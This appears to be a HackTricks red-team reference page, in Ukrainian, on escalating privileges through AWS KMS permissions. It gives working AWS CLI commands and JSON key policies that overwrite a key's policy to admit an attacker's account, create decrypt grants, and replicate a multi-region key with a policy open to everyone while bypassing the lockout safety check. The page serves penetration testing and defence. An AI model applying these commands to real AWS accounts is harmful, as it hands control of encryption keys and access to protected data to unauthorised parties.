AWS - KMS Privesc

Reading time: 4 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

KMS

Для отримання додаткової інформації про KMS перегляньте:

AWS - KMS Enum

kms:ListKeys,kms:PutKeyPolicy, (kms:ListKeyPolicies, kms:GetKeyPolicy)

З цими дозволами можливо змінити дозволи доступу до ключа, щоб його могли використовувати інші облікові записи або навіть будь-хто:

bash
aws kms list-keys
aws kms list-key-policies --key-id <id> # Although only 1 max per key
aws kms get-key-policy --key-id <id> --policy-name <policy_name>
# AWS KMS keys can only have 1 policy, so you need to use the same name to overwrite the policy (the name is usually "default")
aws kms put-key-policy --key-id <id> --policy-name <policy_name> --policy file:///tmp/policy.json

policy.json:

json
{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<origin_account>:root"
},
"Action": "kms:*",
"Resource": "*"
},
{
"Sid": "Allow all use",
"Effect": "Allow",
"Principal": {
"AWS": "arn:aws:iam::<attackers_account>:root"
},
"Action": ["kms:*"],
"Resource": "*"
}
]
}

kms:CreateGrant

Це дозволяє суб'єкту використовувати ключ KMS:

bash
aws kms create-grant \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
--grantee-principal arn:aws:iam::123456789012:user/exampleUser \
--operations Decrypt

warning

Грант може дозволяти лише певні типи операцій: https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations

warning

Зверніть увагу, що може знадобитися кілька хвилин, щоб KMS дозволив користувачу використовувати ключ після створення гранту. Як тільки цей час мине, принципал може використовувати ключ KMS без необхідності вказувати щось.
Однак, якщо потрібно використовувати грант негайно, використовуйте токен гранту (перевірте наступний код).
Для додаткової інформації прочитайте це.

bash
# Use the grant token in a request
aws kms generate-data-key \
--key-id 1234abcd-12ab-34cd-56ef-1234567890ab \
–-key-spec AES_256 \
--grant-tokens $token

Зверніть увагу, що можна перерахувати надання ключів за допомогою:

bash
aws kms list-grants --key-id <value>

kms:CreateKey, kms:ReplicateKey

З цими дозволами можливо реплікувати ключ KMS, який підтримує кілька регіонів, в іншому регіоні з іншою політикою.

Отже, зловмисник може зловживати цим, щоб отримати підвищення привілеїв до ключа та використовувати його.

bash
aws kms replicate-key --key-id mrk-c10357313a644d69b4b28b88523ef20c --replica-region eu-west-3 --bypass-policy-lockout-safety-check --policy file:///tmp/policy.yml

{
"Version": "2012-10-17",
"Id": "key-consolepolicy-3",
"Statement": [
{
"Sid": "Enable IAM User Permissions",
"Effect": "Allow",
"Principal": {
"AWS": "*"
},
"Action": "kms:*",
"Resource": "*"
}
]
}

kms:Decrypt

Цей дозвіл дозволяє використовувати ключ для розшифровки деякої інформації.
Для отримання додаткової інформації перегляньте:

AWS - KMS Post Exploitation

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks